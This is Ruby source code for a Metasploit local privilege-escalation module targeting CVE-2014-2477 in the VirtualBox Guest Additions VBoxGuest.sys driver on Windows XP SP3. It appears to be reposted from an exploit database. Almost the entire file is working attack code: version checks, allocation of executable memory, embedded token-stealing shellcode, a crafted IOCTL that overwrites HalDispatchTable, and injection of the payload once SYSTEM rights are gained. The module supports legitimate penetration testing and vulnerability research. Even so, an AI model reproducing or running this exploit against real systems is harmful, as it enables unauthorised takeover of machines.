## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', 'Description' => %q{ A vulnerability within the VBoxGuest driver allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest Additions up to 4.3.10r93012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin ', # Vulnerability discovery and PoC 'Jay Smith ' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ] ], 'References' => [ ['CVE', '2014-2477'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] ], 'DisclosureDate'=> 'Jul 15 2014', 'DefaultTarget' => 0 })) end def fill_memory(proc, address, length, content) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil else vprint_good("#{address} is now writable") end result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end return address end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo["OS"] unless (os =~ /windows xp.*service pack 3/i) return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys" unless file?(file_path) return Exploit::CheckCode::Unknown end major, minor, build, revision, branch = file_version(file_path) vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") unless (major == 4) return Exploit::CheckCode::Safe end case minor when 0 return Exploit::CheckCode::Vulnerable if build < 26 when 1 return Exploit::CheckCode::Vulnerable if build < 34 when 2 return Exploit::CheckCode::Vulnerable if build < 26 when 3 return Exploit::CheckCode::Vulnerable if build < 12 end return Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") end print_status("Disclosing the HalDispatchTable address...") hal_dispatch_table = find_haldispatchtable if hal_dispatch_table.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable") else print_good("Address successfully disclosed.") end print_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? hal_base = hal_info[0] print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax kernel_shell = token_stealing_shellcode(target) kernel_shell_address = 0x1 buf = "\x90" * 0x6000 buf[0, 56] = "\x50\x00\x00\x00" * 14 buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") session.railgun.ntdll.NtQueryIntervalProfile(2, 4) print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end p = payload.encoded print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") if execute_shellcode(p) print_good("Enjoy") else fail_with(Failure::Unknown, "Error while executing the payload") end end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-08-14]